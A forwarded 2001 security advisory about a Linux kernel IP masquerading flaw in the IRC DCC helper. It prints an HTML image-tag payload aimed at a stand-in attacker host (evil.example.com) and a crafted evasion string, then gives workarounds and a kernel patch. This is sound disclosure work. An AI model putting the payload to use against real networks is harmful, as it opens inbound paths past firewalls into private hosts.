[UNIX] Linux Kernel IP Masquerading Vulnerability (fwd)
jay
jay at musubi.org
Thu Aug 2 05:37:47 PDT 2001
---------- Forwarded message ----------
Date: Wed, 1 Aug 2001 23:36:25 -0700 (PDT)
From: support at securiteam.com
To: list at securiteam.com
Subject: [UNIX] Linux Kernel IP Masquerading Vulnerability
The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
Linux Kernel IP Masquerading Vulnerability
------------------------------------------------------------------------
SUMMARY
A remotely exploitable IP masquerading vulnerability in the Linux kernel
can be used to penetrate protected private networks.
DETAILS
Vulnerable systems:
Linux 2.0, Linux 2.2, and possibly other systems
There was a discussion last year that detailed exploiting NAT packet
inspection mechanisms on Linux and other operating systems by forcing a
client's browser or MUA software to send specific data patterns without
the user's knowledge (see
<http://www.securiteam.com/exploits/5YP0E000HG.html> Extending the FTP
"ALG" vulnerability to any FTP client) in order to open an inbound TCP
port on the firewall. The original advisory by Mikael Olsson discussed the
FTP masquerading helper vulnerability. When found in outbound traffic, the
specific pattern sent by the client software is interpreted by the
firewall as being a legitimate, user-initiated transfer request. Certain
external systems are then temporarily allowed to initiate inbound
connections to the location specified in the malicious packet by using the
firewall as a packet forwarder.
Appropriate (but not necessarily sufficient - see the later explanations)
workarounds were incorporated in Linux kernels released after the original
advisory and are now present in numerous firewall operating systems.
Unfortunately, protocols other than those mentioned in the original
discussions seem to be vulnerable as well. BindView found that IRC DCC
helper (the Linux 2.2 ip_masq_irc module, and modules shipped with some
other operating systems / firewalling software) can be exploited with
<img src=
"ftp://evil.example.com:6667/%01DCC%20SEND%20file%20addr%20port">
Alternatively, another similar pattern, depending on the helper
implementation details ("addr" is the internal machine's IP address as a
decimal integer).
This sequence can be crafted in an HTML e-mail or on a visited webpage.
The attacker should listen on TCP port 6667 on the specified remote host
("evil.host") and generate valid FTP protocol responses. The attacker will
then receive information about the port number on the firewall that will
be forwarded into the protected network. See the discussion in the
original advisory for more details on this attack.
Workarounds:
This new NAT server vulnerability related to DCC simply adds to the
collection of similar vulnerabilities found in various other protocols,
none of which has been fixed in any comprehensive way. In general, the
following five types of workarounds might be used:
1) Configure the NAT server to only allow a certain range of ports in
processed requests. This workaround (only ports above 1024 are allowed) is
currently implemented by Linux and other vendors. Unfortunately, this does
not stop attacks or scans against any of the other thousands of high-port
services - among the most significant of these are NFS, X11, Microsoft SQL
Server, various RPC services, various HTTP proxy/cache services, and
various remote management/diagnostic services.
2) Have the firewall do more careful inspection of protocol traffic. This
could identify and block noncompliant IRC client behavior, such as the
behavior of an HTML e-mail client when accessing an ftp URL.
Unfortunately, this requires very careful protocol tracking, and can be
fooled by careful URL construction (e.g., passing the following string as
the ftp username:
"evilhacker%20+iw%20evilhacker%20evilhacker%0d%0anick%20hacker") and
response fragmentation, or by using a Java applet.
3) Use a personal firewall (e.g., ZoneAlarm) on the internal machine that
asks for user verification before connecting to an unusual port (6667) or
before accepting suspected forwarded connections. Suitable personal
firewalls may not be available for every OS.
4) Research, design, and develop some way for the NAT server to ask the
internal user whether he really requested an inbound port (e.g., one-time
challenge-response authentication).
5) Don't install helper modules on your NAT server. For any protocol that
needs a helper, require users to deploy a tunnel instead.
Patch:
Below is a patch against Linux 2.2.20pre kernel written by the IP
masquerading subsystem maintainer, <mailto:jjo at mendoza.gov.ar> Juanjo
Ciarlante. It is supposed to minimize potential impact caused by this
vulnerability. Note that it does not completely fix the problem (see
discussion above).
Additionally, as suggested by <mailto:kuznet at ms2.inr.ac.ru> Alexey
Kuznetsov, it is possible to limit the potential impact by carefully
setting output chain rules (note that forwarding chain is bypassed by IP
current masquerading rules table).
--- linux-2.2.20pre/net/ipv4/ip_masq_irc.c.dist Sun Mar 25 13:31:12 2001
+++ linux-2.2.20pre/net/ipv4/ip_masq_irc.c Fri Jul 27 18:45:29 2001
@@ -38,7 +38,12 @@
* /etc/conf.modules (or /etc/modules.conf depending on your config)
* where modload will pick it up should you use modload to load your
* modules.
- *
+ *
+ * Insecure "back" data channel opening
+ * The helper does some trivial checks when opening a new DCC data
+ * channel. Use module parameter
+ * insecure=1
+ * ... to avoid this and get previous (pre 2.2.20) behaviour.
*/
#include <linux/config.h>
@@ -72,6 +77,9 @@
MODULE_PARM(ports, "1-" __MODULE_STRING(MAX_MASQ_APP_PORTS) "i");
+static int insecure=0;
+MODULE_PARM(insecure, "i");
+
/*
* List of supported DCC protocols
@@ -110,6 +118,29 @@
return 0;
}
+
+/*
+ * Ugly workaround [TM] --mummy ... why does this protocol sucks?
+ *
+ * The <1024 check and same source address just raise the
+ * security "feeling" => they don't prevent a redirector listening
+ * in same src address at a higher port; you should protect
+ * your internal network with ipchains output rules anyway
+ */
+
+static inline int masq_irc_out_check(const struct iphdr *iph, __u32
data_saddr, __u16 data_sport) {
+ int allow=1;
+ /* Compatibility */
+ if (insecure)
+ goto out;
+ /*
+ * Ignore data channel back to other src addr, nor to port <
1024
+ */
+ if (iph->saddr != data_saddr || data_sport < 1024)
+ allow=0;
+out:
+ return allow;
+}
int
masq_irc_out (struct ip_masq_app *mapp, struct ip_masq *ms, struct
sk_buff **skb_p, __u32 maddr)
{
@@ -198,6 +229,11 @@
s_port = simple_strtoul(data,&data,10);
addr_end_p = data;
+
+ /* Simple validation */
+ if (!masq_irc_out_check(iph, s_addr,
s_port))
+ /* We may just: return 0;
*/
+ continue;
/* Do we already have a port open for
this client?
* If so, use it (for DCC ACCEPT)
ADDITIONAL INFORMATION
The information has been provided by <mailto:lcamtuf at razor.bindview.com>
Michal Zalewski of BindView.
========================================
This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe at securiteam.com
In order to subscribe to the mailing list, simply forward this email to: list-subscribe at securiteam.com
====================
====================
DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.
More information about the LUAU
mailing list